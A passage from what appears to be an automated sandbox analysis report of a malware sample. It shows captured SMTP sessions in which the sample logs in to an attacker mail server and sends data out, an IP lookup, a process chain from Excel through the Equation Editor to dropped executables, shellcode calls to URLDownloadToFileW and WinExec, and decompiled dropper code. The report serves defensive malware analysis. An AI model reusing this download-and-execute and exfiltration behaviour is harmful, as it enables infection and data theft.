0c a3 c3 53 d6 7e 6d 9d 79 da d3 ab 15 b9 b9 9f af 0e 6f 89 8a a1 6b 82 17 c2 18 21 ee 9c 1d cc e7 04 d5 3a 56 Data Ascii: Fg'tz\|C{IO+.u'\)7PxN}cakBM:>^Tr@Aj]@yGY.C\h$.jTGn-XX%ALu7f,+N9),S~myok!:V
2023-01-18 08:13:45 UTC	416	IN	Data Raw: 46 cb 44 18 e5 c0 38 42 ba ed 6e a7 26 87 2f a7 7f ec 83 1d b1 5c e2 84 50 37 97 b5 4b 33 46 8d 10 aa 28 f6 15 d4 b3 58 8e f5 ec 15 df bf c1 fd 75 f6 43 b9 57 e8 26 3a 0d ee 4e 35 71 72 f2 ad ec 89 55 ec 73 d1 c3 d2 1c 4e e1 bd 62 69 8b 09 21 a0 5b 11 76 d0 c8 eb ca c8 79 cb 15 ae 51 08 17 54 0f 73 d3 c5 d4 1a f3 44 20 25 da 90 3a 94 29 3d 8a de 84 65 c2 91 f7 99 ff 27 29 5f 17 0b 71 e6 96 8f ee 18 7a 21 ca a4 4c d8 76 0b c1 c0 d7 37 d6 6c c0 50 9e b9 3d 7c 54 e1 d8 30 f6 1e 54 59 24 87 da 25 67 8f 6f 3c 89 fc b4 a3 db a6 14 60 1a 7d fa ba fd 10 5f 11 37 b2 5e cf 47 9d 39 6d ff 94 25 07 25 42 50 94 0b f5 d3 bd 7c 2b 79 5e 04 fe 3b 26 ce c3 45 a4 1e 41 84 7f 76 f4 67 b9 de 39 a8 bb 01 61 ca 2a bd 49 f3 8e ef 1c 4b fe 8c 52 4a 19 9e 6c ad 69 dc d6 13 d2 47 Data Ascii: FD8Bn&/\P7K3F(XuCW&:N5qrUsNbi![vyQTsD %:)=e')_qz!Lv7lP=\|T0TY$%go<`}_7^G9m%%BP\|+y^;&EAvg9a*IKRJliG

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49175	64.185.227.155	443	C:\Users\user\AppData\Local\Temp\lyebkz.exe

Timestamp	kBytes transferred	Direction	Data
2023-01-18 08:13:51 UTC	428	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2023-01-18 08:13:51 UTC	428	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Content-Length: 10 Content-Type: text/plain Date: Wed, 18 Jan 2023 08:13:51 GMT Vary: Origin Connection: close
2023-01-18 08:13:51 UTC	428	IN	Data Raw: 38 34 2e 31 37 2e 35 32 2e 35 Data Ascii: 84.17.52.5

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jan 18, 2023 09:14:09.816689014 CET	587	49176	5.249.163.12	192.168.2.22	220 box.localdomain ESMTP Postfix (Debian/GNU)
Jan 18, 2023 09:14:09.819118023 CET	49176	587	192.168.2.22	5.249.163.12	EHLO 813435
Jan 18, 2023 09:14:09.862719059 CET	587	49177	5.249.163.12	192.168.2.22	220 box.localdomain ESMTP Postfix (Debian/GNU)
Jan 18, 2023 09:14:09.863631964 CET	49177	587	192.168.2.22	5.249.163.12	EHLO 813435
Jan 18, 2023 09:14:09.925865889 CET	587	49176	5.249.163.12	192.168.2.22	250-box.localdomain 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250-SMTPUTF8 250 CHUNKING
Jan 18, 2023 09:14:09.927025080 CET	49176	587	192.168.2.22	5.249.163.12	AUTH login Z21AYW9zeGVyLmNvbQ==
Jan 18, 2023 09:14:09.970180988 CET	587	49177	5.249.163.12	192.168.2.22	250-box.localdomain 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250-SMTPUTF8 250 CHUNKING
Jan 18, 2023 09:14:09.970788002 CET	49177	587	192.168.2.22	5.249.163.12	AUTH login Z21AYW9zeGVyLmNvbQ==
Jan 18, 2023 09:14:10.033795118 CET	587	49176	5.249.163.12	192.168.2.22	334 UGFzc3dvcmQ6
Jan 18, 2023 09:14:10.077316999 CET	587	49177	5.249.163.12	192.168.2.22	334 UGFzc3dvcmQ6
Jan 18, 2023 09:14:10.141030073 CET	587	49176	5.249.163.12	192.168.2.22	235 2.7.0 Authentication successful
Jan 18, 2023 09:14:10.141267061 CET	49176	587	192.168.2.22	5.249.163.12	MAIL FROM:<gm@aosxer.com>
Jan 18, 2023 09:14:10.184400082 CET	587	49177	5.249.163.12	192.168.2.22	235 2.7.0 Authentication successful
Jan 18, 2023 09:14:10.184632063 CET	49177	587	192.168.2.22	5.249.163.12	MAIL FROM:<gm@aosxer.com>
Jan 18, 2023 09:14:10.249211073 CET	587	49176	5.249.163.12	192.168.2.22	250 2.1.0 Ok
Jan 18, 2023 09:14:10.249617100 CET	49176	587	192.168.2.22	5.249.163.12	RCPT TO:<reportcard@aosxer.com>
Jan 18, 2023 09:14:10.297579050 CET	587	49177	5.249.163.12	192.168.2.22	250 2.1.0 Ok
Jan 18, 2023 09:14:10.298491001 CET	49177	587	192.168.2.22	5.249.163.12	RCPT TO:<reportcard@aosxer.com>
Jan 18, 2023 09:14:10.362848997 CET	587	49176	5.249.163.12	192.168.2.22	250 2.1.5 Ok
Jan 18, 2023 09:14:10.363501072 CET	49176	587	192.168.2.22	5.249.163.12	DATA
Jan 18, 2023 09:14:10.411957026 CET	587	49177	5.249.163.12	192.168.2.22	250 2.1.5 Ok
Jan 18, 2023 09:14:10.412193060 CET	49177	587	192.168.2.22	5.249.163.12	DATA
Jan 18, 2023 09:14:10.470576048 CET	587	49176	5.249.163.12	192.168.2.22	354 End data with <CR><LF>.<CR><LF>
Jan 18, 2023 09:14:10.518968105 CET	587	49177	5.249.163.12	192.168.2.22	354 End data with <CR><LF>.<CR><LF>
Jan 18, 2023 09:14:11.326529980 CET	49177	587	192.168.2.22	5.249.163.12	.
Jan 18, 2023 09:14:11.329830885 CET	587	49176	5.249.163.12	192.168.2.22	250 2.0.0 Ok: queued as F0388140331
Jan 18, 2023 09:14:11.489886999 CET	587	49177	5.249.163.12	192.168.2.22	250 2.0.0 Ok: queued as 080C91418C8
Jan 18, 2023 09:14:43.660346985 CET	49176	587	192.168.2.22	5.249.163.12	QUIT
Jan 18, 2023 09:14:43.660383940 CET	49177	587	192.168.2.22	5.249.163.12	QUIT
Jan 18, 2023 09:14:43.767231941 CET	587	49177	5.249.163.12	192.168.2.22	221 2.0.0 Bye
Jan 18, 2023 09:14:43.767863989 CET	587	49176	5.249.163.12	192.168.2.22	221 2.0.0 Bye
Jan 18, 2023 09:14:44.093992949 CET	587	49178	5.249.163.12	192.168.2.22	220 box.localdomain ESMTP Postfix (Debian/GNU)
Jan 18, 2023 09:14:44.094849110 CET	49178	587	192.168.2.22	5.249.163.12	EHLO 813435
Jan 18, 2023 09:14:44.172585964 CET	587	49179	5.249.163.12	192.168.2.22	220 box.localdomain ESMTP Postfix (Debian/GNU)
Jan 18, 2023 09:14:44.173003912 CET	49179	587	192.168.2.22	5.249.163.12	EHLO 813435
Jan 18, 2023 09:14:44.201376915 CET	587	49178	5.249.163.12	192.168.2.22	250-box.localdomain 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250-SMTPUTF8 250 CHUNKING
Jan 18, 2023 09:14:44.201699018 CET	49178	587	192.168.2.22	5.249.163.12	AUTH login Z21AYW9zeGVyLmNvbQ==
Jan 18, 2023 09:14:44.282885075 CET	587	49179	5.249.163.12	192.168.2.22	250-box.localdomain 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250-SMTPUTF8 250 CHUNKING
Jan 18, 2023 09:14:44.283142090 CET	49179	587	192.168.2.22	5.249.163.12	AUTH login Z21AYW9zeGVyLmNvbQ==
Jan 18, 2023 09:14:44.308166981 CET	587	49178	5.249.163.12	192.168.2.22	334 UGFzc3dvcmQ6
Jan 18, 2023 09:14:44.393027067 CET	587	49179	5.249.163.12	192.168.2.22	334 UGFzc3dvcmQ6
Jan 18, 2023 09:14:44.415210009 CET	587	49178	5.249.163.12	192.168.2.22	235 2.7.0 Authentication successful
Jan 18, 2023 09:14:44.415443897 CET	49178	587	192.168.2.22	5.249.163.12	MAIL FROM:<gm@aosxer.com>
Jan 18, 2023 09:14:44.503458977 CET	587	49179	5.249.163.12	192.168.2.22	235 2.7.0 Authentication successful
Jan 18, 2023 09:14:44.504333019 CET	49179	587	192.168.2.22	5.249.163.12	MAIL FROM:<gm@aosxer.com>
Jan 18, 2023 09:14:44.522053003 CET	587	49178	5.249.163.12	192.168.2.22	250 2.1.0 Ok
Jan 18, 2023 09:14:44.522304058 CET	49178	587	192.168.2.22	5.249.163.12	RCPT TO:<reportcard@aosxer.com>
Jan 18, 2023 09:14:44.614322901 CET	587	49179	5.249.163.12	192.168.2.22	250 2.1.0 Ok
Jan 18, 2023 09:14:44.614756107 CET	49179	587	192.168.2.22	5.249.163.12	RCPT TO:<reportcard@aosxer.com>
Jan 18, 2023 09:14:44.629196882 CET	587	49178	5.249.163.12	192.168.2.22	250 2.1.5 Ok
Jan 18, 2023 09:14:44.629569054 CET	49178	587	192.168.2.22	5.249.163.12	DATA
Jan 18, 2023 09:14:44.725070953 CET	587	49179	5.249.163.12	192.168.2.22	250 2.1.5 Ok
Jan 18, 2023 09:14:44.725398064 CET	49179	587	192.168.2.22	5.249.163.12	DATA
Jan 18, 2023 09:14:44.735939026 CET	587	49178	5.249.163.12	192.168.2.22	354 End data with <CR><LF>.<CR><LF>
Jan 18, 2023 09:14:44.835278034 CET	587	49179	5.249.163.12	192.168.2.22	354 End data with <CR><LF>.<CR><LF>
Jan 18, 2023 09:14:45.546597958 CET	49178	587	192.168.2.22	5.249.163.12	.
Jan 18, 2023 09:14:45.661443949 CET	49179	587	192.168.2.22	5.249.163.12	.
Jan 18, 2023 09:14:45.704210997 CET	587	49178	5.249.163.12	192.168.2.22	250 2.0.0 Ok: queued as 3D2CE140331
Jan 18, 2023 09:14:45.820247889 CET	587	49179	5.249.163.12	192.168.2.22	250 2.0.0 Ok: queued as 53CB01418C8

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXEPID: 1236, Parent PID: 576

General

Target ID:	0
Start time:	09:13:19
Start date:	18/01/2023
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13fd20000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: EQNEDT32.EXEPID: 868, Parent PID: 576

General

Target ID:	2
Start time:	09:13:40
Start date:	18/01/2023
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: word.exePID: 1924, Parent PID: 868

General

Target ID:	5
Start time:	09:13:52
Start date:	18/01/2023
Path:	C:\Users\user\AppData\Roaming\word.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\word.exe
Imagebase:	0x400000
File size:	437857 bytes
MD5 hash:	1CEC9C1FA633D554029A6402174612D1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 36%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: lyebkz.exePID: 2604, Parent PID: 1924

General

Target ID:	6
Start time:	09:13:52
Start date:	18/01/2023
Path:	C:\Users\user\AppData\Local\Temp\lyebkz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\lyebkz.exe" C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx
Imagebase:	0x400000
File size:	102400 bytes
MD5 hash:	41467466B6E727C3C65D9501F6A23A04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: lyebkz.exePID: 1468, Parent PID: 2604

General

Target ID:	7
Start time:	09:13:53
Start date:	18/01/2023
Path:	C:\Users\user\AppData\Local\Temp\lyebkz.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\lyebkz.exe
Imagebase:	0x400000
File size:	102400 bytes
MD5 hash:	41467466B6E727C3C65D9501F6A23A04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: EQNEDT32.EXEPID: 868, Parent PID: 576COMMON

Execution Graph

Execution Coverage:	34.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	86.2%
Total number of Nodes:	29
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 03674C4F Relevance: 3.1, APIs: 2, Instructions: 90
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32 ref: 03674C5D

Part of subcall function 03674C77: URLDownloadToFileW.URLMON(00000000,03674C88,?,00000000,00000000), ref: 03674CE2

Memory Dump Source

Source File: 00000002.00000002.977965535.00000000035D0000.00000004.00000020.00020000.00000000.sdmp, Offset: 035D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_35d0000_EQNEDT32.jbxd

Similarity

API ID: DownloadFileLibraryLoad
String ID:
API String ID: 2776762486-0
Opcode ID: 37cfb0a514d9c8ef2a2b92486a98e6637479bdee4bf1a7f76fafcb8d37899b62
Instruction ID: 66269398fd19df2dc89208f27b3cd8e8bb3154cf693dd64cade5426bd3db4a31
Opcode Fuzzy Hash: 37cfb0a514d9c8ef2a2b92486a98e6637479bdee4bf1a7f76fafcb8d37899b62
Instruction Fuzzy Hash: 883178A144C3C52FC713D7700D6EB55BF646B93214F5DCACEA4C50E0D3ABA4A106C657

Uniqueness

Uniqueness Score: -1.00%

Function 03674D2B Relevance: 3.0, APIs: 2, Instructions: 46
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WinExec.KERNEL32(?,00000001,?,03674D23,?,03674CE9), ref: 03674D38

Part of subcall function 03674D4B: ExitProcess.KERNEL32(00000000,?,03674D3F,?,03674D23,?,03674CE9), ref: 03674D50

Memory Dump Source

Source File: 00000002.00000002.977965535.00000000035D0000.00000004.00000020.00020000.00000000.sdmp, Offset: 035D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_35d0000_EQNEDT32.jbxd

Similarity

API ID: ExecExitProcess
String ID:
API String ID: 4112423671-0
Opcode ID: 7b4514c50c6803db6e1acb15a029f5a29cf7c6a0b93d7e4af60678115a653edc
Instruction ID: 20f6adc7c398fa0d217fec8234339324c474b9d7e9f754a5fff1287a09177e42
Opcode Fuzzy Hash: 7b4514c50c6803db6e1acb15a029f5a29cf7c6a0b93d7e4af60678115a653edc
Instruction Fuzzy Hash: DAF0285990434251C733F36A896D7FBBBA5DF51310FCF8957D8C004189DD5484C3C619

Uniqueness

Uniqueness Score: -1.00%

Function 03674C77 Relevance: 1.6, APIs: 1, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.977965535.00000000035D0000.00000004.00000020.00020000.00000000.sdmp, Offset: 035D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_35d0000_EQNEDT32.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: 7926e90553058f0f899509944689f18f24de39ed39586c4cd8a6785f78fcff95
Instruction ID: e09f5c9802a683788987b567c9a45dc8352bfc038c54228208a4dcceaf629dbd
Opcode Fuzzy Hash: 7926e90553058f0f899509944689f18f24de39ed39586c4cd8a6785f78fcff95
Instruction Fuzzy Hash: DA2165A184C3C12FC723DB700C6EB55BF606B83610F59CACEA5C50E0D3EBA99106C257

Uniqueness

Uniqueness Score: -1.00%

Function 03674CE0 Relevance: 1.6, APIs: 1, Instructions: 58
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON(00000000,03674C88,?,00000000,00000000), ref: 03674CE2

Memory Dump Source

Source File: 00000002.00000002.977965535.00000000035D0000.00000004.00000020.00020000.00000000.sdmp, Offset: 035D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_35d0000_EQNEDT32.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: fe65dfc41c474ed7c68a25bdd3244d0e817b4e5dc4d84330f277ae402f48056e
Instruction ID: 64e116e7afb6c0ecc750273ab63017edf4def4978f95fc1a7ed5fd9ea9ad3b7f
Opcode Fuzzy Hash: fe65dfc41c474ed7c68a25bdd3244d0e817b4e5dc4d84330f277ae402f48056e
Instruction Fuzzy Hash: AC118C3150834266C723E655895DBAAF7A4EFC2710FCAC15AE5D04D2C9FBA0D843C21A

Uniqueness

Uniqueness Score: -1.00%

Function 03674D4B Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000,?,03674D3F,?,03674D23,?,03674CE9), ref: 03674D50

Memory Dump Source

Source File: 00000002.00000002.977965535.00000000035D0000.00000004.00000020.00020000.00000000.sdmp, Offset: 035D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_35d0000_EQNEDT32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: e55ef30ae08b9a015fea4a6ff3e24b8599026409e8cd7a038f7e15e8fa1a622d
Instruction ID: 2281e1d4e4b0fc3618fe51c8034974ea8d7b3fe481436250f891ac1f04901cab
Opcode Fuzzy Hash: e55ef30ae08b9a015fea4a6ff3e24b8599026409e8cd7a038f7e15e8fa1a622d
Instruction Fuzzy Hash: 9AD082302016029BD202EB11CD84F27F32AFFC4610F14C228E0044A209CB30E881CAA0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: word.exePID: 1924, Parent PID: 868COMMON

Execution Graph

Execution Coverage:	15.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.4%
Total number of Nodes:	1385
Total number of Limit Nodes:	25

Executed Functions

Function 00403640 Relevance: 84.4, APIs: 34, Strings: 14, Instructions: 450
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			_entry_() {
				WCHAR* _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				int _v24;
				int _v28;
				struct _TOKEN_PRIVILEGES _v40;
				signed char _v42;
				int _v44;
				signed int _v48;
				intOrPtr _v278;
				signed short _v310;
				struct _OSVERSIONINFOW _v324;
				struct _SHFILEINFOW _v1016;
				intOrPtr* _t88;
				intOrPtr* _t94;
				void _t97;
				void* _t116;
				WCHAR* _t118;
				signed int _t119;
				intOrPtr* _t123;
				void* _t137;
				void* _t143;
				void* _t148;
				void* _t152;
				void* _t157;
				signed int _t167;
				void* _t170;
				void* _t175;
				intOrPtr _t177;
				intOrPtr _t178;
				intOrPtr* _t179;
				int _t188;
				void* _t189;
				void* _t198;
				signed int _t204;
				signed int _t209;
				signed int _t214;
				int* _t218;
				signed int _t226;
				signed int _t229;
				CHAR* _t231;
				signed int _t233;
				WCHAR* _t234;

				0x435000 = 0x20;
				_t188 = 0;
				_v24 = 0;
				_v8 = L"Error writing temporary file. Make sure your temp folder is valid.";
				_v20 = 0;
				SetErrorMode(0x8001); // executed
				_v324.szCSDVersion = 0;
				_v48 = 0;
				_v44 = 0;
				_v324.dwOSVersionInfoSize = 0x11c;
				if(GetVersionExW( &_v324) == 0) {
					_v324.dwOSVersionInfoSize = 0x114;
					GetVersionExW( &_v324);
					asm("sbb eax, eax");
					_v42 = 4;
					_v48 =  !( ~(_v324.szCSDVersion - 0x53)) & _v278 + 0xffffffd0;
				}
				if(_v324.dwMajorVersion < 0xa) {
					_v310 = _v310 & 0x00000000;
				}
				 *0x42a318 = _v324.dwBuildNumber;
				 *0x42a31c = (_v324.dwMajorVersion & 0x0000ffff | _v324.dwMinorVersion & 0x000000ff) << 0x00000010 | _v48 & 0x0000ffff | _v42 & 0x000000ff;
				if( *0x42a31e != 0x600) {
					_t179 = E00406A35(_t188);
					if(_t179 != _t188) {
						 *_t179(0xc00);
					}
				}
				_t231 = "UXTHEME";
				do {
					E004069C5(_t231); // executed
					_t231 =  &(_t231[lstrlenA(_t231) + 1]);
				} while ( *_t231 != 0);
				E00406A35(0xb);
				 *0x42a264 = E00406A35(9);
				_t88 = E00406A35(7);
				if(_t88 != _t188) {
					_t88 =  *_t88(0x1e);
					if(_t88 != 0) {
						 *0x42a31c =  *0x42a31c | 0x00000080;
					}
				}
				__imp__#17();
				__imp__OleInitialize(_t188); // executed
				 *0x42a320 = _t88;
				SHGetFileInfoW(0x421708, _t188,  &_v1016, 0x2b4, _t188); // executed
				E00406668(0x429260, L"NSIS Error");
				E00406668(0x435000, GetCommandLineW());
				_t94 = 0x435000;
				_t233 = 0x22;
				 *0x42a260 = 0x400000;
				if( *0x435000 == _t233) {
					_t94 = 0x435002;
				}
				_t198 = CharNextW(E00405F64(_t94, 0x435000));
				_v16 = _t198;
				while(1) {
					_t97 =  *_t198;
					_t251 = _t97 - _t188;
					if(_t97 == _t188) {
						break;
					}
					_t209 = 0x20;
					__eflags = _t97 - _t209;
					if(_t97 != _t209) {
						L17:
						__eflags =  *_t198 - _t233;
						_v12 = _t209;
						if( *_t198 == _t233) {
							_v12 = _t233;
							_t198 = _t198 + 2;
							__eflags = _t198;
						}
						__eflags =  *_t198 - 0x2f;
						if( *_t198 != 0x2f) {
							L32:
							_t198 = E00405F64(_t198, _v12);
							__eflags =  *_t198 - _t233;
							if(__eflags == 0) {
								_t198 = _t198 + 2;
								__eflags = _t198;
							}
							continue;
						} else {
							_t198 = _t198 + 2;
							__eflags =  *_t198 - 0x53;
							if( *_t198 != 0x53) {
								L24:
								asm("cdq");
								asm("cdq");
								_t214 = L"NCRC" & 0x0000ffff;
								asm("cdq");
								_t226 = ( *0x40a37e & 0x0000ffff) << 0x00000010 |  *0x40a37c & 0x0000ffff | _t214;
								__eflags =  *_t198 - (( *0x40a37a & 0x0000ffff) << 0x00000010 | _t214);
								if( *_t198 != (( *0x40a37a & 0x0000ffff) << 0x00000010 | _t214)) {
									L29:
									asm("cdq");
									asm("cdq");
									_t209 = L" /D=" & 0x0000ffff;
									asm("cdq");
									_t229 = ( *0x40a372 & 0x0000ffff) << 0x00000010 |  *0x40a370 & 0x0000ffff | _t209;
									__eflags =  *(_t198 - 4) - (( *0x40a36e & 0x0000ffff) << 0x00000010 | _t209);
									if( *(_t198 - 4) != (( *0x40a36e & 0x0000ffff) << 0x00000010 | _t209)) {
										L31:
										_t233 = 0x22;
										goto L32;
									}
									__eflags =  *_t198 - _t229;
									if( *_t198 == _t229) {
										 *(_t198 - 4) = _t188;
										__eflags = _t198;
										E00406668(0x435800, _t198);
										L37:
										_t234 = L"C:\\Users\\Albus\\AppData\\Local\\Temp\\";
										GetTempPathW(0x400, _t234);
										_t116 = E0040360F(_t198, _t251);
										_t252 = _t116;
										if(_t116 != 0) {
											L40:
											DeleteFileW(L"1033"); // executed
											_t118 = E004030D0(_t254, _v20); // executed
											_v8 = _t118;
											if(_t118 != _t188) {
												L68:
												ExitProcess(); // executed
												__imp__OleUninitialize(); // executed
												if(_v8 == _t188) {
													if( *0x42a2f4 == _t188) {
														L77:
														_t119 =  *0x42a30c;
														if(_t119 != 0xffffffff) {
															_v24 = _t119;
														}
														ExitProcess(_v24);
													}
													if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v16) != 0) {
														LookupPrivilegeValueW(_t188, L"SeShutdownPrivilege",  &(_v40.Privileges));
														_v40.PrivilegeCount = 1;
														_v28 = 2;
														AdjustTokenPrivileges(_v16, _t188,  &_v40, _t188, _t188, _t188);
													}
													_t123 = E00406A35(4);
													if(_t123 == _t188) {
														L75:
														if(ExitWindowsEx(2, 0x80040002) != 0) {
															goto L77;
														}
														goto L76;
													} else {
														_push(0x80040002);
														_push(0x25);
														_push(_t188);
														_push(_t188);
														_push(_t188);
														if( *_t123() == 0) {
															L76:
															E0040140B(9);
															goto L77;
														}
														goto L75;
													}
												}
												E00405CC8(_v8, 0x200010);
												ExitProcess(2);
											}
											if( *0x42a27c == _t188) {
												L51:
												 *0x42a30c =  *0x42a30c | 0xffffffff;
												_v24 = E00403D17(_t264);
												goto L68;
											}
											_t218 = E00405F64(0x435000, _t188);
											if(_t218 < 0x435000) {
												L48:
												_t263 = _t218 - 0x435000;
												_v8 = L"Error launching installer";
												if(_t218 < 0x435000) {
													_t189 = E00405C33(__eflags);
													lstrcatW(_t234, L"~nsu");
													__eflags = _t189;
													if(_t189 != 0) {
														lstrcatW(_t234, "A");
													}
													lstrcatW(_t234, L".tmp");
													_t137 = lstrcmpiW(_t234, 0x436800);
													__eflags = _t137;
													if(_t137 == 0) {
														L67:
														_t188 = 0;
														__eflags = 0;
														goto L68;
													} else {
														__eflags = _t189;
														_push(_t234);
														if(_t189 == 0) {
															E00405C16();
														} else {
															E00405B99();
														}
														SetCurrentDirectoryW(_t234);
														__eflags =  *0x435800;
														if( *0x435800 == 0) {
															E00406668(0x435800, 0x436800);
														}
														E00406668(0x42b000, _v16);
														_t201 = "A" & 0x0000ffff;
														_t143 = ( *0x40a316 & 0x0000ffff) << 0x00000010 | "A" & 0x0000ffff;
														__eflags = _t143;
														_v12 = 0x1a;
														 *0x42b800 = _t143;
														do {
															E004066A5(0, 0x420f08, _t234, 0x420f08,  *((intOrPtr*)( *0x42a270 + 0x120)));
															DeleteFileW(0x420f08);
															__eflags = _v8;
															if(_v8 != 0) {
																_t148 = CopyFileW(L"C:\\Users\\Albus\\AppData\\Roaming\\word.exe", 0x420f08, 1);
																__eflags = _t148;
																if(_t148 != 0) {
																	E00406428(_t201, 0x420f08, 0);
																	E004066A5(0, 0x420f08, _t234, 0x420f08,  *((intOrPtr*)( *0x42a270 + 0x124)));
																	_t152 = E00405C4B(0x420f08);
																	__eflags = _t152;
																	if(_t152 != 0) {
																		CloseHandle(_t152);
																		_v8 = 0;
																	}
																}
															}
															 *0x42b800 =  *0x42b800 + 1;
															_t61 =  &_v12;
															 *_t61 = _v12 - 1;
															__eflags =  *_t61;
														} while ( *_t61 != 0);
														E00406428(_t201, _t234, 0);
														goto L67;
													}
												}
												 *_t218 = _t188;
												_t221 =  &(_t218[2]);
												_t157 = E0040603F(_t263,  &(_t218[2]));
												_t264 = _t157;
												if(_t157 == 0) {
													goto L68;
												}
												E00406668(0x435800, _t221);
												E00406668(0x436000, _t221);
												_v8 = _t188;
												goto L51;
											}
											asm("cdq");
											asm("cdq");
											asm("cdq");
											_t204 = ( *0x40a33a & 0x0000ffff) << 0x00000010 | L" _?=" & 0x0000ffff;
											_t167 = ( *0x40a33e & 0x0000ffff) << 0x00000010 |  *0x40a33c & 0x0000ffff | (_t209 << 0x00000020 |  *0x40a33e & 0x0000ffff) << 0x10;
											while( *_t218 != _t204 || _t218[1] != _t167) {
												_t218 = _t218;
												if(_t218 >= 0x435000) {
													continue;
												}
												break;
											}
											_t188 = 0;
											goto L48;
										}
										GetWindowsDirectoryW(_t234, 0x3fb);
										lstrcatW(_t234, L"\\Temp");
										_t170 = E0040360F(_t198, _t252);
										_t253 = _t170;
										if(_t170 != 0) {
											goto L40;
										}
										GetTempPathW(0x3fc, _t234);
										lstrcatW(_t234, L"Low");
										SetEnvironmentVariableW(L"TEMP", _t234);
										SetEnvironmentVariableW(L"TMP", _t234);
										_t175 = E0040360F(_t198, _t253);
										_t254 = _t175;
										if(_t175 == 0) {
											goto L68;
										}
										goto L40;
									}
									goto L31;
								}
								__eflags =  *((intOrPtr*)(_t198 + 4)) - _t226;
								if( *((intOrPtr*)(_t198 + 4)) != _t226) {
									goto L29;
								}
								_t177 =  *((intOrPtr*)(_t198 + 8));
								__eflags = _t177 - 0x20;
								if(_t177 == 0x20) {
									L28:
									_t36 =  &_v20;
									 *_t36 = _v20 | 0x00000004;
									__eflags =  *_t36;
									goto L29;
								}
								__eflags = _t177 - _t188;
								if(_t177 != _t188) {
									goto L29;
								}
								goto L28;
							}
							_t178 =  *((intOrPtr*)(_t198 + 2));
							__eflags = _t178 - _t209;
							if(_t178 == _t209) {
								L23:
								 *0x42a300 = 1;
								goto L24;
							}
							__eflags = _t178 - _t188;
